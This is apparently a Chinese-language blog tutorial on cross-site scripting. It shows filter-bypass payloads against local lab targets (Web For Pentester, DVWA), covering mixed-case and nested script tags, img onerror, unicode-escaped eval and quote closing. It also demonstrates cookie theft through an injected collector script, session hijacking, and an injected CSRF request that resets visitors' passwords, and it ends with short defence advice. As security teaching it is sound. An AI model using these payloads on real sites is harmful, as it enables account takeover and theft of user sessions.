XSS是跨站腳本攻擊(Cross Site Scripting)，為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼，當用戶瀏覽該頁之時，嵌入其中Web里面的Script代碼會被執行，從而達到惡意攻擊用戶的目的。

相信以上的解釋也不難理解，但為了再具體些，這里舉一個簡單的例子，就是留言板。我們知道留言板通常的任務就是把用戶留言的內容展示出來。正常情況下，用戶的留言都是正常的語言文字，留言板顯示的內容也就沒毛病。然而這個時候如果有人不按套路出牌，在留言內容中丟進去一行”<script>alert(“hey!you are attacked”)</script>，那么留言板界面的網頁代碼就會變成形如以下：

<script>alert(“hey!you are attacked”)</script>

那么這個時候問題就來了，當瀏覽器解析到用戶輸入的代碼那一行時會發生什么呢？答案很顯然，瀏覽器并不知道這些代碼改變了原本程序的意圖，會照做彈出一個信息框。就像這樣。

其實歸根結底，XSS的攻擊方式就是想辦法“教唆”用戶的瀏覽器去執行一些這個網頁中原本不存在的前端代碼?？蓡栴}在于盡管一個信息框突然彈出來并不怎么友好，但也不至于會造成什么真實傷害啊。的確如此，但要說明的是，這里拿信息框說事僅僅是為了舉個栗子，真正的黑客攻擊在XSS中除非惡作劇，不然是不會在惡意植入代碼中寫上alert("say something")的。在真正的應用中，XSS攻擊可以干的事情還有很多，這里舉兩個例子。

• 竊取網頁瀏覽中的cookie值。在網頁瀏覽中我們常常涉及到用戶登錄，登錄完畢之后服務端會返回一個cookie值。

這個cookie值相當于一個令牌，拿著這張令牌就等同于證明了你是某個用戶。如果你的cookie值被竊取，那么攻擊者很可能能夠直接利用你的這張令牌不用密碼就登錄你的賬戶。如果想要通過script腳本獲得當前頁面的cookie值，通常會用到cookie。試想下如果像空間說說中能夠寫入xss攻擊語句，那豈不是看了你說說的人的號你都可以登錄（不過貌似QQ的cookie有其他驗證措施保證同一cookie不能被濫用）

• 劫持流量實現惡意跳轉。

這個很簡單，就是在網頁中想辦法插入一句像這樣的語句：

<script>window.location.href="http://www.baidu.com";</script>那么所訪問的網站就會被跳轉到百度的首頁。

早在2011年新浪就曾爆出過嚴重的xss漏洞，導致大量用戶自動關注某個微博號并自動轉發某條微博。具體各位可以自行百度。

那xss漏洞很容易被利用嗎？那倒也未必。

畢竟在實際應用中web程序往往會通過一些過濾規則來組織代有惡意代碼的用戶輸入被顯示。不過，這里還是可以給大家總結一些常用的xss攻擊繞過過濾的一些方法，算是拋磚引玉。（以下的繞過方式皆通過滲透測試平臺Web For Pentester 演示

• 這個繞過方式的出現是因為網站僅僅只過濾了<script>標簽，而沒有考慮標簽中的大小寫并不影響瀏覽器的解釋所致。具體的方式就像這樣：

利用語句：

http://192.168.1.102/xss/example2.php?name=<sCript>alert("hey!")</scRipt>

• 利用過濾后返回語句再次構成攻擊語句來繞過。

這個字面上不是很好理解。用實例來說。

如下圖，在這個例子中我們直接敲入script標簽發現返回的網頁代碼中script標簽被去除了，但其余的內容并沒有改變。

于是我們就可以人為的制造一種巧合，讓過濾完script標簽后的語句中還有script標簽（畢竟alert函數還在），像這樣：

http://192.168.1.102/xss/example3.php?name=<sCri<script>pt>alert("hey!")</scRi</script>pt>

發現問題了吧，這個利用原理在于只過濾了一個script標簽。

• 并不是只有script標簽才可以插入代碼！

在這個例子中，我們嘗試了前面兩種方法都沒能成功，原因在于script標簽已經被完全過濾，但不要方，能植入腳本代碼的不止script標簽。

例如這里我們用<img>標簽做一個示范。

我們利用如下方式：

http://192.168.1.102/xss/example4.php?name=<img src='w.123' onerror='alert("hey!")'>

就可以再次愉快的彈窗。原因很簡單，我們指定的圖片地址根本不存在也就是一定會發生錯誤，這時候onerror里面的代碼自然就得到了執行。

以下列舉幾個常用的可插入代碼的標簽。

<a onmousemove=’do something here’> 當用戶鼠標移動時即可運行代碼

<div onmouseover=‘do something here’> 當用戶鼠標在這個塊上面時即可運行（可以配合weight等參數將div覆蓋頁面，鼠標不劃過都不行）

類似的還有onclick，這個要點擊后才能運行代碼，條件相對苛刻，就不再詳述。

• 編碼腳本代碼繞過關鍵字過濾。

有的時候，服務器往往會對代碼中的關鍵字（如alert）進行過濾，這個時候我們可以嘗試將關鍵字進行編碼后再插入，不過直接顯示編碼是不能被瀏覽器執行的，我們可以用另一個語句eval（）來實現。eval()會將編碼過的語句解碼后再執行，簡直太貼心了。

例如alert(1)編碼過后就是\u0061\u006c\u0065\u0072\u0074(1)，所以構建出來的攻擊語句如下：

http://192.168.1.102/xss/example5.php?name=<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

• 主動閉合標簽實現注入代碼。

來看這份代碼：

乍一看，哇！自帶script標簽。再一看，WTF！填入的內容被放在了變量里！

這個時候就要我們手動閉合掉兩個雙引號來實現攻擊，別忘了，javascript是一個弱類型的編程語言，變量的類型往往并沒有明確定義。

思路有了，接下來要做的就簡單了，利用語句如下：

http://192.168.1.102/xss/example6.php?name=";alert("I am coming again~");"

效果如圖。

回看以下注入完代碼的網頁代碼，發現我們一直都在制造巧合。。

先是閉合引號，然后分號換行，加入代碼，再閉合一個引號，搞定！

• 組合各種方式

在實際運用中漏洞的利用可能不會這么直觀，需要我們不斷的嘗試，甚至組合各種繞過方式來達到目的。

介紹完一些常用的繞過方式，再倒回來講一下XSS分類，因為下面講具體的應用時會用到。

XSS攻擊大致上分為兩類，一類是反射型XSS，又稱非持久型XSS，另一類則與之相對，稱作儲存型XSS，也就是持久型XSS。

先來講什么是反射型XSS。其實，我們上面講XSS的利用手段時所舉的例子都是非持久型XSS，也就是攻擊相對于訪問者而言是一次性的，具體表現在我們把我們的惡意腳本通過url的方式傳遞給了服務器，而服務器則只是不加處理的把腳本“反射”回訪問者的瀏覽器而使訪問者的瀏覽器執行相應的腳本。也就是說想要觸發漏洞，需要訪問特定的鏈接才能夠實現。

再說儲存型XSS，它與反射型XSS最大的不同就是服務器再接收到我們的惡意腳本時會將其做一些處理，例如儲存到數據庫中，然后當我們再次訪問相同頁面時，將惡意腳本從數據庫中取出并返回給瀏覽器執行。這就意味著只要訪問了這個頁面的訪客，都有可能會執行這段惡意腳本，因此儲存型XSS的危害會更大。還記得在文章開頭提到的留言板的例子嗎？那通常就是儲存型XSS。當有人在留言內容中插入惡意腳本時，由于服務器要像每一個訪客展示之前的留言內容，所以后面的訪客自然會接收到之前留言中的惡意腳本而不幸躺槍。這個過程一般而言只要用戶訪問這個界面就行了，不像反射型XSS，需要訪問特定的URL。

區別完兩種XSS類型，下面來講幾個實例應用。

• 劫持訪問

劫持訪問就是在惡意腳本中插入諸如<script>window.location.href="http://www.baidu.com";</script>的代碼，那么頁面就會跳轉到百度首頁。劫持訪問在持久型和非持久型XSS中都比較常被利用。持久型XSS中劫持訪問的危害不用說大家都清楚，但有人會問非持久型XSS中劫持訪問有什么作用呢？很簡單，試想下像qq.com，baidu.com這樣的域名下出現非持久型XSS，那么在發送釣魚鏈接時就可以通過qq.com等域名進行跳轉，一般人一看到qq.com之類的域名警惕性會下降，也就更容易上當了。

• 盜用cookie實現無密碼登錄

具體原理上文已經提到，這里做一個具體演示。由于盜取的cookie需要傳回給攻擊者，因此往往需要一個服務器來接收盜取的cookie，這也就是xss平臺的作用了。網上的xss平臺很多，但動手搭建一個也不難，建議有條件的自己搭建。

首先登錄平臺后臺獲取到js腳本地址為http://127.0.0.1/XSS/template/default.js，所以我們需要做的是把這段代碼植入指定頁面。

<script type="text/javascript" src="http://127.0.0.1/XSS/template/default.js"></script>

（這里以DVWA滲透測試平臺為例）

我們發現網頁對于message長度有限制。審查元素看一下。

發現最大長度有限制，但這僅僅是前端的限制，直接雙擊修改成更大的數字即可。再次嘗試，沒問題，我們已經將腳本植入完畢。

然后就是坐等別的用戶訪問這個界面。

這時，另一個用戶gordonb登錄并訪問了留言界面，那么他的cookie就會被竊取。我們可以從xss平臺的后臺獲取到。

拿到cookie之后要登錄他的帳號就好辦了。

打開登錄界面，調出火狐的firebug插件，調至cookie選項卡（注意，如果你的firebug插件沒有cookie選項卡，請再安裝firecookie插件即可看到）

然后依次點擊cookies-create cookie，隨后再彈出的界面中填入兩個xss平臺獲取到的cookie，如圖

這里注意要把我箭頭所指的地方勾上，這是設置cookie有效期的地方，不然會在設置完下一秒cookie就失效。

完成之后再次刷新頁面，發現已經不是之前的登錄界面了，而是登錄后的界面。至此，一個從cookie竊取到利用的過程就已完成。

• 配合csrf攻擊完成惡意請求

先簡單解釋以下csrf攻擊。Csrf攻擊就是在未經你許可的情況下用你的名義發送惡意請求（比如修改密碼，銀行轉賬等），下面演示一個用xss配合csrf修改用戶密碼的例子。

首先對修改用戶密碼的界面進行抓包。

發現沒有對原密碼進行校驗。于是一股邪惡的力量油然而生：要是在xss的惡意腳本中自動提交get請求修改密碼的話。。。

說干就干，具體插入語句如下。

<script type="text/javascript" src="http://127.0.0.1/test/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"></script>

有人會問，這不是引用腳本嗎?其實不然，本質上這還是發起了一起get請求，因此可以直接使用。與上例一樣，插入到message中，再坐等上鉤。等下一個用戶訪問該界面時，密碼就會被改為123456惹～

我們再看下訪問該頁面時的抓包情況，發現每次訪問該頁面都發送了更改密碼的請求

效果看數據庫（密碼md5加密）

訪問了該頁面的用戶密碼都被更改了。

防范手段：

都說知己知彼方能百戰不殆，知道了xss攻擊的原理那么防御的方法也就顯而易見了。

首先是過濾。對諸如<script>、<img>、<a>等標簽進行過濾。

其次是編碼。像一些常見的符號，如<>在輸入的時候要對其進行轉換編碼，這樣做瀏覽器是不會對該標簽進行解釋執行的，同時也不影響顯示效果。

最后是限制。通過以上的案例我們不難發現xss攻擊要能達成往往需要較長的字符串，因此對于一些可以預期的輸入可以通過限制長度強制截斷來進行防御。

本文鏈接：http://www.dzldskjx.com/article/167.html